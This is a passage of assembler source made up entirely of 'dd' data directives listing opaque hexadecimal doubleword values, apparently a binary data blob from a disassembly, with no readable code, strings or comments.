0C3D95081h, 5D7B1BB3h dd 18911E00h, 0A6C66DDCh, 0D3640038h, 0C37AA9D0h, 9500D909h dd 0BF2CA5CDh, 0F145CD1h, 792C6FAh, 572B610Fh, 1A854700h dd 0D270AC26h, 179A6900h, 0DF6004C0h, 0B4D0759h, 0D09F1A30h dd 0ABA8B264h, 0F288D800h, 0ADD5A655h, 52ED000Dh, 0D3034B06h dd 9D30E144h, 0B372C13h, 0B0470076h, 66C39F95h, 8E0019F4h dd 0E9BF05C9h, 504224CEh, 3E379C36h, 878173F3h, 7C515B70h dd 64B2611Eh, 8F1E8AF8h, 36C3F54Bh, 0D2B463Bh, 0EBD62819h dd 96F6E0D0h, 30F5401h, 6E2E096Bh, 71D8930h, 0FA884233h dd 0D34C5093h, 4700BBFEh, 2A68C37Bh, 761FE5h, 7E45820Eh dd 0AC992251h, 0AA8880C0h, 0C22358h, 3EE92FA2h, 54F690E3h dd 0DB709D00h, 344FC0F5h, 3B1C0429h, 0BEAA8A69h, 0E7AB11C0h dd 0C275A1h, 5E490878h, 7DA46167h, 98424A00h, 57D66B8Ch dd 0FF1B006Ch, 85C91A93h, 0DD00299Ch, 0B790635Ch, 3DF8949h dd 73A82A54h, 30D0B1E9h, 0E007D134h, 31E42B84h, 1ACEEEh dd 0BB6F92D6h, 601300ACh, 0D2CCB2B7h, 5B03F5A3h, 0F9D60EC6h dd 2C2DB8BAh, 0A19E3D29h, 9984EF80h, 0E7AF72FDh, 0E0B58FF6h dd 56C09Ch, 0B0BEA6BBh, 203C30DBh, 7B178978h, 3C0119D9h dd 0A8D034BDh, 0C3BBBD0h, 6B25E4DEh, 21C01A08h, 10A3E392h dd 22EF03C9h, 20493BAFh, 0B80858DEh, 31BC69h, 0BD5A561Bh dd 2A2EA07Ch, 0B009592Ch, 0B6080037h, 303E8F53h, 1D113DE2h dd 1600EEC8h, 17525963h, 0EECAE050h, 209B60A5h, 70EEDD36h dd 14DF0400h, 0CA739D83h, 745700D5h, 231E029Bh, 0C118F3A6h dd 9478770Bh, 967907h, 41CB3B61h, 86EFD8E0h, 6F25774h dd 77017498h, 9F9A0419h, 18E4527Ch, 0C28C3DA0h, 0A4C66E80h dd 55FC158Dh, 27245A75h, 0A7804C34h, 7CDC7DDAh, 3321EC57h dd 12085B23h, 0EA472100h, 0EC142D7Dh, 705E6BEh, 268F5072h dd 0FE42B0A8h, 0D50768AFh, 0B699C6D6h, 0CEE26560h, 0E9D20EDCh dd 2C80F9E0h, 0BD1133DAh, 0B2DEB503h, 0C98D788Ch, 1ED06102h dd 12400075h, 0E7568645h, 98508CC2h, 0CB1284F1h, 26008821h dd 0F575222Ch, 0AED70035h, 0AB7E67FFh, 0C005EFDDh, 0D88280A0h dd 830373C0h, 52E500C7h, 774AA25Fh, 7001BB1Dh, 99FE5A8Eh dd 488013A9h, 0A44E84D5h, 6D07E946h, 665FAA41h, 8FBE90C0h dd 18E070C9h, 0A0D5C0F0h, 89008B92h, 631C1BA2h, 3E2458Dh dd 17BBF25Ah, 0A4E2F574h, 34C0FB40h, 0EE358518h, 306A6838h dd 4080FA39h, 6F03DDEDh, 0A4DBBCE5h, 817CB32Ah, 0BD30B028h dd 320F30C0h, 0B9431439h, 0CF3CF006h, 3C124088h, 0B6BDA1AFh dd 2DC3DFDh, 6A74CE80h, 0ED34AA5Bh, 24A9AB1Ch, 6F830500h dd 42A857h, 2A952EBBh, 43218EF5h, 0BAFE11C5h, 0AF030420h dd 0FF511250h, 79860365h, 7F980C36h, 0CB0058F3h, 0E63F2167h dd 76C8BA0Ah, 0A53500B6h, 0BF28CF61h, 1C0079F9h, 17A05492h dd 486321h, 6E745215h, 7B0A6573h, 69DF4600h, 7510D997h dd 4B9B00C6h, 33173876h, 0A50085D7h, 5DFFB246h, 1D1ED2B3h dd 7DEF70AEh, 0C7419C00h, 0C2F9C329h, 25431300h, 0DE94CB65h dd 0D1DA00F0h, 8C090B62h, 7609D0E0h, 80672BC8h, 54ACC3F2h dd 51E301EFh, 47463A69h, 0FE85E0B9h, 65001EFEh, 0B4FC72A9h dd 5123B1h, 0F790FFC3h, 7C52DD5Dh, 8FCA3803h, 0D8C6C8E3h dd 7F46E8h, 84182296h, 4F0D0A28h, 39873105h, 0FDC0DA1Dh dd 73C1BB40h, 32A80053h, 2C1EFD0Eh, 0F9E0E955h, 624F9E00h dd 7571FEAAh, 0D6DF1E7Eh, 0E6D8082h, 0FF4D84CFh, 0F2C3BA02h dd 0C0B7F629h, 7EFBFFh, 821E3139h, 15E2188h, 0BD07DF7Fh dd 1F4ACE10h, 0C71719C0h, 72A6E2A7h, 69361FF9h, 0B228C096h dd 1D7D481Eh, 0C30B630Bh, 7190044h, 3824E414h, 0E93F9C0Ah dd 0D27F3580h, 0F4BAA9A2h, 0A8155628h, 94590E00h, 186A2BD6h dd 0F898003Ch, 70BE40EAh, 0D100D0A3h, 521DDCC6h, 0EF8AE6h dd 7A516FBAh, 2E90DE5Ch, 4514367Eh, 0E8CAACAh, 0C089BAF5h dd 0B6CDDB41h, 188B075Ah, 0A0C58524h, 5C8E227Ah, 3C12A800h dd 0C251AA6h, 311800F9h, 66E75F14h, 6C00162Fh, 0FCE2F2E9h dd 50FDDCh, 6B0F5E61h, 53CB5D06h, 0A836240Fh, 0EE1C601Dh dd 78205A7Dh, 52780038h, 0BD9A1807h, 0BF281A76h, 3E07B8D6h dd 673520F1h, 341D0E20h, 0E8730E26h, 592075F0h, 9B5EFBDEh dd 6579B82Ch, 2C3E0900h, 0E01F96h, 0BF1470FFh, 4213F407h dd 0F7F8DCE0h, 610704B8h, 3C6C283Eh, 30691870h, 0C838005Ch dd 73E69565h, 0FA7E1098h, 419D681Dh, 0FE5575C0h, 2FC55Dh dd 63A3FB2Bh, 0ABFD52ADh, 49260C92h, 0E8006130h, 6D86C52Bh dd 7AB3009Eh, 68364312h, 0F000FFB0h, 0DB1D47B4h, 4A06E6h dd 0CF5DD1A4h, 413EDEFDh, 0AC497503h, 0F8239A61h, 88922Fh dd 6F274EDCh, 84F7C820h, 33E239h, 7EE38223h, 8A9B53h, 0B1A8F991h dd 3CF49226h, 3B783A3Ah, 0A9B3805Dh, 0D4F56983h, 0D5B50012h dd 0C850C1BEh, 153C7AADh, 5D56806Eh, 0ECF2DB59h, 51F131B1h dd 0C8D4B610h, 0E2001090h, 35A77319h, 0A1F895h, 6796858Bh dd 0E6757FD2h, 0BB8A9D00h, 0A897D613h, 65E000CDh, 9F4882D7h dd 0F90E0E62h, 6010098Eh, 41F0ABA1h, 0E4F1009Ah, 0BB9A31Dh dd 0F9007066h, 15AAB186h, 3D36C1Ah, 77D01772h, 8094D620h dd 0DE7A2F50h, 5C56840Bh, 7B0505AEh, 8EF4C800h, 7791D280h dd 0C41300A8h, 0A5D5D13Ch, 48005CB8h, 0F67C0FCBh, 8283C6h dd 0C99415ACh, 0B2A51E91h, 0CE3C3F00h, 7F379088h, 156B4C7Eh dd 0F65BCD0Fh, 63E3A00h, 0CB00D954h, 0F1EF161h, 0AC8AE3h dd 39550A80h, 2F97F9FFh, 95166D02h, 402ADB0Dh, 7BF8BE1Bh dd 0A38B0078h, 0E75C88Dh, 0FA0EB3A4h, 40CC2A16h, 0B16C45E1h dd 0B67AEAh, 82200225h, 8738562h, 48FC777Ah, 0F9DCE80Fh dd 9E95A099h, 4934FCh, 0D8058D79h, 87200985h, 3988C901h dd 0A6D9AA8Ah, 0F8D5D7ECh, 6030E2CBh, 0DBF89846h, 997BFBF6h dd 0D3AACBA0h, 20EB2C00h, 74DAA8AFh, 18D700DEh, 0FD3D305Fh dd 4400D18Fh, 847F0CE2h, 769C04h, 8EFC5868h, 7CDF98C9h dd 0CB499407h, 83B0FEF5h, 0B43413h, 0A35A2007h, 7617E6A5h dd 0E3009070h, 0C1B0E48Bh, 63D5BDh, 489E87A4h, 8053CCC4h dd 7D0584FCh, 0D4645BD7h, 9CFE0C0h, 524A07DDh, 0A054A0AFh dd 6E6CE0B3h, 81D32700h, 0CDCEDF06h, 93FE1Ch, 0FDB0C5ECh dd 6A65C70Dh, 73E8820Fh, 2DA52029h, 0F343EEh, 0DBB79FA3h dd 0CB5A8698h, 0D6628800h, 0F6F4F848h, 72C30FFFh, 0C2202899h dd 87501F09h, 0BAF0E100h, 6FE75DD2h, 454F1DCFh, 5CDDB8h dd 4A77E489h, 1C00A2E2h, 2182393Dh, 72BA173Bh, 306F0CFh dd 36F43399h, 7080EE4Fh, 90091F1h, 496C15BCh, 33C4AC48h dd 176EE860h, 0C29C1400h, 0EE27DAD1h, 7B3605E3h, 8C7390EFh dd 770023A0h, 0BBD2A88Eh, 43B68E4h, 57B493EAh, 0DD9B8290h dd 0E2E868E3h, 0DC1378BAh, 1FBFCF80h, 0B83A4007h, 276FAEE7h dd 5494D200h, 3043E663h, 0A03F240Eh, 3EFE0114h, 0D059AE77h dd 0FA008CF5h, 76B5E555h, 0C0371F2Ah, 7FCD539Ch, 80001D40h dd 5B650675h, 0EB1AD2h, 87348992h, 2A71B4E5h, 0DBA41600h dd 0B7B0DC8Bh, 0DE9F01FDh, 6C43CA83h, 0E37074D5h, 0BE2FED00h dd 7B1A524Dh, 0D4AB5815h, 3D80BA00h, 2047E35Eh, 521010C0h dd 31FA54Fh dd 4CB33EB4h, 0B8D0D838h, 450470E9h, 49687F3h, 0B97EAE81h dd 404A619Eh, 92A81B16h, 0A000579h, 0DF4BA48Fh, 0BF6D58h dd 575B0463h, 0B7899727h, 0FF42D800h, 592C1FD0h, 347100DAh dd 17C7AC70h, 0CB1E2A35h, 53005B02h, 50C201F2h, 0CFC500D3h dd 4D0D5C58h, 0DA905515h, 0F2F7791Ch, 2EA7868Bh, 42544010h dd 52A6ECh, 3DE4336Ah, 0A41F7E36h, 1FC3E5Dh, 24ACA9C1h dd 0F9F0C742h, 277900D8h, 6C6D0B9Ch, 0EB007378h, 1940728Ah dd 7FD6BC5Fh, 55F80006h, 78489B46h, 0C03D22F6h, 7224857h dd 1ED664E2h, 0F9A42CC0h, 0A30D0163h, 60547A88h, 301CD09Fh dd 93001D73h, 688BBDE4h, 539FDE7h, 0C2EF89BCh, 6C16801Bh dd 7207D91Eh, 2488E471h, 8E5B6210h, 7B0C008Ch, 75897C21h dd 780032D9h, 0BBB4FD42h, 0A4A5Dh, 8CB7F4B9h, 725F62BFh dd 0A7962513h, 0E60B9C00h, 5883B13Ch, 821D8941h, 0E01641F2h dd 0FE049998h, 25006BF0h, 910537CFh, 0E7FCC1h, 0DD98C431h dd 40E7395h, 74718A00h, 9046D2C8h, 24FBF602h, 5684836h dd 0C06FE4EDh, 43B6F67Dh, 0A4F83A00h, 0DDFE68Bh, 67E907CEh dd 847D194Eh, 44348049h, 3F501627h, 0B00E75C8h, 3B580Fh dd 0F2ED609Eh, 0C318C2B7h, 0ECA0A830h, 90B10205h, 0A1E30E01h dd 2D36C1BCh, 0FE94F0F7h, 60C50223h, 0F644D910h, 3E586640h dd 5E92731Eh, 6B755C83h, 603A0CB2h, 0EC602BA5h, 0DCEF4Dh dd 0EAC115FEh, 788E1E65h, 0F309893h, 0A05FA703h, 0D38456C3h dd 0C4D7A9C1h, 0D101C302h, 0D05BBC53h, 0CCEDE04Eh, 7EE4C9EDh dd 0C1DC001Bh, 719441Fh, 51000450h, 0A32A3B61h, 0C2F933h dd 2C17D1ADh, 0E8053CDEh, 0D093A900h, 6563FAECh, 0B19E0071h dd 0CC194682h, 5B0C987Ch, 0A84BF670h, 0E1D70061h, 0DA9444BEh dd 8F01D5B1h, 0C3B912C8h, 702437AAh, 0F1EA2638h, 0F5003C07h dd 0E64BF3D7h, 7E63C698h, 0B276F0h, 3DDBAAF9h, 18AE35BDh dd 9A43C8A8h, 5E30E507h, 0CB378E29h, 0CEE3D90h, 0C9C31EFDh dd 9AC80258h, 0A48076D5h, 0A869E424h, 3F7AF00h, 7D28545Fh dd 6EB0063h, 0CECC2687h, 3039BA81h, 9C2E8118h, 48AE5F93h dd 0D89BD4h, 0CD0EF45Ah, 0B78058A7h, 0E4757E00h, 0B82D4A9h dd 4FBA00DBh, 71FC22C0h, 4A1ED883h, 0A4C08EDAh, 0B354A34Dh dd 59080B36h, 0D800E968h, 0AD665262h, 1F00EFF0h, 82319772h dd 89F3B8h, 0BDCC1D7Eh, 0C985DD46h, 0D26E9B0Fh, 1ACD212Dh dd 62F050A6h, 345C0003h, 0F73AB1D9h, 260FBC1h, 78479E58h dd 0E0330008h, 9D7BD9C6h, 693049E4h, 57FE4964h, 85A440A0h dd 94750C00h, 327FBB82h, 0A904C0D9h, 553EBEC8h, 0BDB0B900h dd 604F511Bh, 5FA01FFAh, 802F1F24h, 2E6225B8h, 0BD00742Dh dd 0AFD8560Fh, 3FE3EA48h, 0E007B3C0h, 0B02179BFh, 83349DCh dd 307C9B00h, 6791D96Dh, 42DE38D2h, 6105980h, 41FEEEF5h dd 0F1300AFEh, 0C2581846h, 80AA00A3h, 0A665550Eh, 0CB150210h dd 849793h, 0F1BE21F5h, 0F3DD138h, 0CD2D4C96h, 51AF4EC0h dd 0A93BB5A0h, 6C38014h, 0B9231F80h, 0B13077Fh, 0E0AC9C2Dh dd 5694B3E6h, 0F12E5A00h, 1D2C497Bh, 0CB6101F9h, 3B4223B4h dd 0C5670A8h, 0AD858E01h, 29F50D7h, 14D67E4h, 0E82DFECh dd 811BA4F3h, 0F06AB438h, 0CEEC276Dh, 0D3E90393h, 0BC0F49D8h dd 2BA6A388h, 78C24307h, 8CD0DCABh, 619838h, 3C5CE958h dd 0A977DEF3h, 0FBCC171Eh, 751E1AC4h, 824F5E80h, 0AD3100F0h dd 0B204D9CDh, 8FE1D763h, 7103B1h, 0A54AC890h, 106D00C1h dd 99A24B0h, 6100153Ah, 4C72648h, 1E8F0286h, 0C1177B96h dd 0CCE32264h, 0B3A6C003h, 9716C100h, 0D1DEEDC4h, 155900E8h dd 8758656Ah, 370061FDh, 457BAA2Dh, 0A0A18Ch, 7F38DA0Fh dd 4BE33442h, 98000A79h, 0B4067AA7h, 5207195h, 0E1947C31h dd 0EFC743h, 95AA487h, 105DCB30h, 74A09Bh, 0E4FF51D7h dd 0DB40E518h, 4559D600h, 0FB25D0CEh, 0F4E065h, 0C2D52002h dd 810C323Dh, 67CF7F00h, 75DD2A88h, 0F2D700BBh, 189D15C6h dd 0F81D8019h, 0CF40A0D5h, 912A0672h, 677900AFh, 0B4438EFBh dd 0CA07E41Ah, 809A02B5h, 59937111h, 0BCC3F4h, 0E4120D14h dd 1BFAFB7Dh, 865285ECh, 405FC220h, 0D4FB197Dh, 143CC952h dd 65ECFCB7h, 81A1A400h, 0D5D4D751h, 0E72B1D73h, 4B304683h dd 6D074813h, 787145EDh, 3FFBEE2Ch, 67BB0B75h, 0B548E003h dd 0C9D0DC6Eh, 0FFFA5065h, 0A2543D00h, 7EB20137h, 4147008Fh dd 535F677Bh, 0F5027A0h, 701EFBA8h, 448054F1h, 4E7BAF81h dd 677E07B0h, 2080C949h, 0B80AA921h, 0FDA46954h, 78C03F7Eh dd 0E0C94DB1h, 0B3A8A3F0h, 8029FAFAh, 9EC5F68Ch, 6DC60535h dd 1C1A4266h, 0CA510080h, 0D4E4649h, 3CF17701h, 9F918226h dd 308FA0Ch, 0D885FB50h, 730018E6h, 65B579E5h, 770F744Bh dd 11250A77h, 0AC4201h, 0E67C3EF8h, 4CEED10Ah, 0EFF5E501h dd 0CA2AF428h, 3CEB27F4h, 7205668Fh, 0AEF02Fh, 8726B4A0h dd 0FD00E3D5h, 4A3262BEh, 2803FFFAh, 580DAC8h, 168B6368h dd 0C02038D2h, 0FC422E79h, 97055200h, 2921ABEDh, 4C38E50Ah dd 10AD002h, 7E00A46Ah, 618CC13Eh, 0F3A7A0FFh, 0B881397h dd 0E028107Bh, 0AAED6701h, 0E00CD948h, 9D004218h, 812B1591h dd 1126EE1h, 0CFB7CA78h, 0D04D413Fh, 0D80331B0h, 6AF34415h dd 0E248E898h, 77BA0046h, 51FA6E04h, 0C0008F13h, 4B9A74A8h dd 38B3B54Dh, 0F0D0E7F8h, 0F44E5492h, 803E176Bh, 0E720053h dd 0AD8D8139h, 9C6E4F7Ch, 8B97C026h, 0A90A75h, 961A8804h dd 79B4954Dh, 63DDAA04h, 40806564h, 4907FBh, 0CCF4BF4Fh dd 0F7CD307Ah, 45F9AD1Dh, 10542242h, 0A95440F6h, 0E9330002h dd 817D2A99h, 527493ECh, 14589E00h, 0E449AFBDh, 3C9103D7h dd 0A3940266h, 2003E787h, 658E7CFEh, 0A93A9C00h, 8B52BE1Dh dd 0D013149Dh, 7206B8F8h, 0E07D41C3h, 5D2F7702h, 6330A45Bh dd 0F200E13h, 912038F3h, 0C348AC58h, 6AE4807Ah, 82DE3900h dd 0C7496B28h, 479B0312h, 0CF9B672h, 294A7DB8h, 0DD001EEAh dd 92CCB05Bh, 0F2EF19Ah, 931DF2F3h, 5CA2AD80h, 9C00FD96h dd 1F12EE97h, 60F862h, 0FB17C78Bh, 0DAF5B6B5h, 0DB0FBB0Eh dd 0D7CBE112h, 3180EB3Fh, 0D6EF74Eh, 8A07A49Bh, 0F5B8B482h dd 0F290ECC7h, 0C08CF01Eh, 46025028h, 670C5378h, 114E1BD1h dd 0B2890060h, 704C4799h, 91011C61h, 0FE6DC28Ah, 9CFD55A5h dd 0A992048h, 6E8AE99Dh, 0D5224018h, 14ABDD3Dh, 4F7A5821h dd 0A517BDC0h, 60DD4295h, 30303934h, 8C404429h, 58BA6201h dd 375EF59Fh, 44CBBD2h, 367ED270h, 0ED423113h, 3492DAFCh dd 28084184h, 7B231938h, 0B6A20A4Ah, 0F89AE068h, 0B5804EE4h dd 82A103C3h, 359F3E15h, 4607BD2h, 9CAD19F9h, 6DA8D904h dd 0CAE24158h, 32DA370Ah, 0D2E238C1h, 0F5C238F9h, 0AB9F3D3Bh dd 7988308Ch, 0DE22E083h, 18AE8AB0h, 74B9C801h, 0A5835FBEh dd 0A26463EAh, 4144B135h, 21998CF8h, 62801336h, 12DA3B1Eh dd 2A5478F7h, 14E87C55h, 0B4DBED28h, 0A40570B6h, 7161AAE1h dd 54422407h, 0D532DBB0h, 5072E874h, 3215F4BBh, 8610B07Dh dd 900A5C9Bh, 8CE53454h, 5756A2C1h, 63110C20h, 0EC6C80B3h dd 87CFD2A1h, 0EE17D550h, 2B5E6B71h, 0A0983C23h, 8544CBC4h dd 1404901Ah, 0B84AD882h, 0E4F288E6h, 0C04C7120h, 0FB2E231h dd 536E759Eh, 0E4F4E080h dd 0C2E9F2DCh, 0B53D3208h, 8A526441h, 0E8F37508h, 39F29504h dd 705E2485h, 8D325801h, 0A45FC12Ah, 67C27961h, 0AB0701F3h dd 85BAF89Eh, 49615A1h, 87EE52ACh, 1F25C584h, 1C7502D4h dd 0F89C4A8Dh, 725D3C14h, 2822876Ch, 60171858h, 0E9054292h dd 0EEE3D2DCh, 1E3FD409h, 5CB0C5CCh, 0E4AC77B5h, 0F2148193h dd 129894F4h, 0B604A044h, 174E43E8h, 7A041762h, 70CFD7D2h dd 0A9247061h, 4260486Dh, 0F504B7FAh, 0DD3E68D2h, 560088DBh dd 0E5834A0Ah, 0C209A582h, 169EF523h, 0B45B2E18h, 288918DFh dd 0B9525922h, 0D1718030h, 90BF852Fh, 0E07AF554h, 57127215h dd 942CF4FCh, 3E4300AAh, 0A018FA2Bh, 3602E462h, 0E880D2DDh dd 8218B8D7h, 0CD8D00AFh, 42A019B4h, 0F424FB86h, 0A85058B2h dd 56F1025Ch, 0A2A01A60h, 30298256h, 0BC363360h, 7034E5F8h dd 0AA28CA71h, 59E1C03Ch, 8E505337h, 5800E280h, 0A34BD285h dd 918A8BCBh, 34C540DCh, 0BD4DDF7Ah, 0B11B0064h, 0CBB0B2D0h dd 918A129Eh, 608B055Ah, 0C4602912h, 0AD33669Eh, 0B022E8A9h dd 0EF2D0B6h, 8BD27920h, 1AA811CAh, 0CC084069h, 0CED36320h dd 0BD28C1F9h, 15E30AB0h, 80E034CFh, 507677E9h, 33629453h dd 0D6A0D489h, 18CAA82Bh, 1E58BE01h, 58808B2Ch, 0CF160642h dd 2274D072h, 0CBF31214h, 0EABCE0A0h, 0B0FB33B3h, 38EEA2D0h dd 4DF75212h, 1BC30C38h, 694E0A62h, 96096592h, 4C7D051Ch dd 0C20B4E3Fh, 8494E208h, 8C77BC06h, 18200EEDh, 4810C9C2h dd 32E92920h, 7D85C0B8h, 928AA2BAh, 8491074h, 28C8B0CFh dd 4030FC4Dh, 0A52DFCBh, 0C3958150h, 424D516h, 5DAD1562h dd 52C728D0h, 62AB3CBh, 9742A800h, 0C92D063h, 5032E8B9h dd 6E52B01Fh, 939D1014h, 0FB400A4Fh, 8F3C23A0h, 0E1C86B01h dd 6D8A288h, 0F8176012h, 1453272Ch, 44C870Fh, 4885CAF2h dd 8D8102Ch, 591823F8h, 279A8202h, 82A44588h, 0D844FEBh dd 9AE29CA1h, 9B542087h, 8F501052h, 0F748422Bh, 0B53C6885h dd 92CF04F6h, 0CBABD674h, 0CC2D0174h, 14E068DDh, 7158820h dd 4992D84Bh, 0C7B24144h, 0FB12E043h, 1D9843Ah, 0F2F56215h dd 9841AE8Bh, 6C3045BEh, 6C904817h, 3B2EB6E0h, 0A9538A1Ch dd 771501FDh, 0B85B75A0h, 7EBB9441h, 0AFC9DC61h, 0B0E93060h dd 0BD750AB4h, 2CF09E1Dh, 7FB50C28h, 7586D69h, 9C53183Ch dd 7864DF30h, 207B6296h, 0D0C00975h, 9F58D72Bh, 0A6C1F28h dd 0DEC61500h, 50576A8Bh, 72A0FCC9h, 0BC552E09h, 87D20DE8h dd 8AE8F0D0h, 0AC854098h, 0AA024313h, 0C0A3DC52h, 0C8CC120h dd 0F1EA92D9h, 69603D08h, 0DCD5CEB8h, 9B40052h, 0EFB5559Eh dd 5160AA8Dh, 40EC1278h, 0C4F252DAh, 21B00980h, 60C59F66h dd 480EA42h, 1C4B6112h, 428BB2DDh, 0BBF652D9h, 0C08E9C83h dd 14A0820h, 0A1591175h, 20C40195h, 33049D70h, 5E5DEBD1h dd 0C2438C82h, 9909614h, 97CB2B3h, 11A23020h, 7213F56Dh dd 9FF9987h, 488Ch, 92DA4B38h, 88C685Ch, 23E5FE32h, 32471E28h dd 486088CAh, 0F2620C82h, 0E1F81B48h, 60840264h, 0C728DAD2h dd 202EF6D0h, 0FE7FB3Dh, 1F2D4C32h, 0B0F0333Ch, 9280173Ch dd 0D51C0223h, 0B8835178h, 183047CBh, 7D22045h, 0B5A13AD7h dd 2EA8CEB0h, 56F8D985h, 0BFB45151h, 6A8681C9h, 50AB92F5h dd 0A0A552F0h, 503B32B4h, 5C36A4BCh, 57BD4C3h, 79359ED2h dd 12B40865h, 0D1E5183Eh, 7CA2F718h, 0C83731A0h, 0D3C6B120h dd 9E0D60E7h, 0A83AD8F5h, 0A73812A0h, 839340Ch, 30526E15h dd 8C43F86h, 88A6BE24h, 8530EE3Dh, 8CC17CFAh, 70207D29h dd 28696241h, 0B8820A43h, 0ECE06411h, 90CF63E6h, 7C0532F1h dd 0B00CFCC9h, 6395508Bh, 0AB287118h, 38EB1024h, 0B839B206h dd 84F63E8h, 8919CEF5h, 0A08C2E0h, 32B55470h, 0E7D85A06h dd 8B24A450h, 1B09680Fh, 0A398033Bh, 2708013Eh, 0FFDB95BFh dd 0D37BD074h, 18E9D3Ch, 1BD944A2h, 5BE0B0E1h, 182778C9h dd 182B503Bh, 0BBF06275h, 0C003448h, 100CE5DBh, 0C20F065Ah dd 8575914h, 50C6A5E0h, 20283D33h, 37321170h, 371101Ch dd 9388A07Bh, 5E3AA41Bh, 9B0F00D6h, 5DC69E4Dh, 67C4007Ch dd 4AAC93B0h, 1B0E9416h, 20DB614Fh, 9B95E3A5h, 18287813h dd 182D085Bh, 1BFE2558h, 93E90E02h, 2E02BBh, 9B941298h dd 0D62D640Dh, 0C9E0395Bh, 70CD812Ah, 73A1B4Fh, 2F3B00D3h dd 2FB95DDh, 0BB940E45h, 5B833F8Dh, 3BC038F3h, 0D90E0FF2h dd 4396959Bh, 37367DBBh, 0C310F018h, 1BF0E66Fh, 0F0F1B538h dd 0F0CB0EF8h, 863E0EEAh, 3D0464Ah, 5B95AF62h, 810AC26h dd 9231ABDBh, 783FB78h, 9C1F0645h, 9B086E18h, 2880611Eh dd 0F3DAF33Bh, 31DB24C9h, 0D0D8F932h, 0B0CC42BEh, 507BC873h dd 0FDFB98ABh, 22DB088Fh, 50BC3790h, 8E4955C0h, 0DA87307Bh dd 0D8F693C0h, 0F7261B18h, 90508350h, 0C674EA00h, 58700E78h dd 8A144A1Eh, 3868D00Ch, 8B8C3D26h, 0A8153019h, 2BEC5C98h dd 0DC75700h, 4C93B2E8h, 40F18358h, 30E88439h, 88B8EB1h dd 3A6B1600h, 8A454B5Fh, 0CABB6C01h, 75553BDAh, 122E8889h dd 57B03C02h, 0FACC3041h, 2C5C2090h, 162FB603h, 0A40C8A40h dd 347038C4h, 31E9D277h, 2CA0E71Eh, 0BB6881C7h, 0FBDB50DEh dd 700901EBh, 905BDFC8h, 0E39BD08Dh, 0FC8CB150h, 4BD00F64h dd 2DC43C87h, 38145885h, 0A27B0748h, 5EC5DAEDh, 8212D81Fh dd 2D5A3C46h, 6C923010h, 0D6282B50h, 48906DF2h, 0DC8EFB12h dd 0E82E340Ah, 2403789h, 8FC3BA20h, 5B0CF0ECh, 5520A7FEh dd 9A18A464h, 0E6635C91h, 0E5ED208Ch, 4890A218h, 346C3B24h dd 28CC203Ah, 49C431DBh, 3474481Bh, 0C508AE6Bh, 10840D13h dd 2472D178h, 8490C144h, 8519DB1Bh, 3D087C29h, 7B8959D6h dd 7803926Fh, 82D7352Eh, 0B0406957h, 0F1E97E09h, 0F018FBB9h dd 1E18C754h, 0FBD81B9Ch, 28E2081Fh, 52D1B02h, 0D6FA0FDBh dd 0A3C0D85h, 3E98F2DCh, 10310619h, 82E84787h, 9882D11Ah dd 0C040E427h, 0A0CAD90Ah, 773AA4F4h, 50938640h, 502B886Fh dd 9A448462h, 91A8318Ch, 2006B318h, 9B3C5EDCh, 94CC268Eh dd 0E020FE9Fh, 2E80A107h, 203B8AD0h, 8C2466DFh, 0F30CD809h dd 607310A2h, 192B3042h, 4648F4C2h, 18D41858h, 3A35B410h dd 36308903h, 0C4849D09h, 12613B14h, 0B12A19B4h, 0C2D45278h dd 0EFA81D34h, 0F4100189h, 87D7B486h, 0E4FCDB30h, 0F7EC7B40h dd 630DFC89h, 0A8A618BAh, 0A47AFBE1h, 21187008h, 12A3F848h dd 70E5BBDFh, 8BF64A98h, 48157D20h, 0B1A794CCh, 2406341Ah dd 3C24ECA8h, 0D41C6065h, 0D144DA1Dh, 0B08BC4D2h, 0CDF99906h dd 8C125989h, 0A800625Ch, 9B93D9DCh, 0C4E5051Ah, 1429B6BBh dd 5AA0E490h, 0E324A2CFh, 0AC04D08Fh, 0B483647Bh, 3B7000D3h dd 3486E95Eh, 0F4E8ED20h, 8C1BF34h, 0EAA94461h, 0B3BFD1E3h dd 32DD4431h, 0CA8F488Ch, 709838C0h, 13DF1B13h, 20A3900Ah dd 6E25EC60h, 6C44402Ch, 3B888D61h, 14482BAFh, 0B14E095Dh dd 5C8151BAh, 30EB6A0Ch, 0BF5021D8h, 98F3BCh, 0D8B39B12h dd 1D0D009h, 0C0673B50h, 0C309808Ch, 9B817410h, 24989816h dd 0A3742EF0h, 6E48EFF0h, 1DD71890h, 98DA13B0h, 0D0D35838h dd 5AE8247Ch, 0C9B30948h, 87517004h, 8B408E18h, 38F97486h dd 1328D0B0h, 83FCBC20h, 5326C498h, 570C871h, 0B79C2A80h dd 482C7780h dd 8B26E073h, 0D4193AC0h, 20145113h, 0A33E56A0h, 9430248Eh dd 0EC812823h, 5064D06Fh, 0D4CC9440h, 14BC98F2h, 0E089FC73h dd 0EA0283B0h, 0EC803CE8h, 6892FB0Eh, 0E21871CBh, 4297DC5Ah dd 0CA8C28C6h, 48EEE420h, 24311876h, 0E24DEAF1h, 0F4871CC5h dd 0B272A71Fh, 4F3840AFh, 0FC34B025h, 0C02C918Bh, 26FDDC88h dd 9AC73C44h, 5E1115D0h, 8BC17CD9h, 80833329h, 9FFE6CA1h dd 52475BD8h, 0CA3E145Fh, 32E2B008h, 0A0050C05h, 906FF80Ah dd 0E0309404h, 6182F092h, 4C315D14h, 98EA4DE0h, 1F0A510h dd 0B6366C75h, 0A9E05139h, 135C605Eh, 0BB184490h, 33B8C2D0h dd 5C409818h, 9A7C08DBh, 3ED3E880h, 9E198A06h, 45922058h dd 13BC85F8h, 430C123Ch, 8E7483A4h, 10A6BCC3h, 13B8E44Ch dd 9046CC1Bh, 31687016h, 0A9786682h, 9C208C73h, 3E881894h dd 11198A0Ch, 34B9D89Eh, 0A8985DB4h, 606682F0h, 3008F748h dd 3B90FAFBh, 8C46379h, 9C81BE83h, 0B88CB608h, 0B008B57Ch dd 18502748h, 8082A92h, 0CA48CC61h, 59611B18h, 2BC93BE8h dd 0AE6896h, 0C6F82300h, 0FFFC0396h, 0FA3C63E8h, 5F037CD0h dd 0D6A33340h, 7821E7E3h, 0FE403442h, 3A9E2C63h, 0BE0126FFh dd 5E2997E2h, 1E2BF072h, 3379C000h, 96A810E3h, 666C31A3h dd 0D0296730h, 9A636E3Eh, 18E4D270h, 68ECF258h, 63E8788Eh dd 86386B6Eh, 3E20998Bh, 3000E0Dh, 433527D3h, 83F8DB6Ah dd 3454721Eh, 2C593001h, 18A04B1Eh, 0A83F6392h, 23A010D5h dd 43F8DC35h, 20A97030h, 0F033721Bh, 2C5A0088h, 421A4AFEh dd 6C6313E3h, 0E1657AA0h, 88879B7Eh, 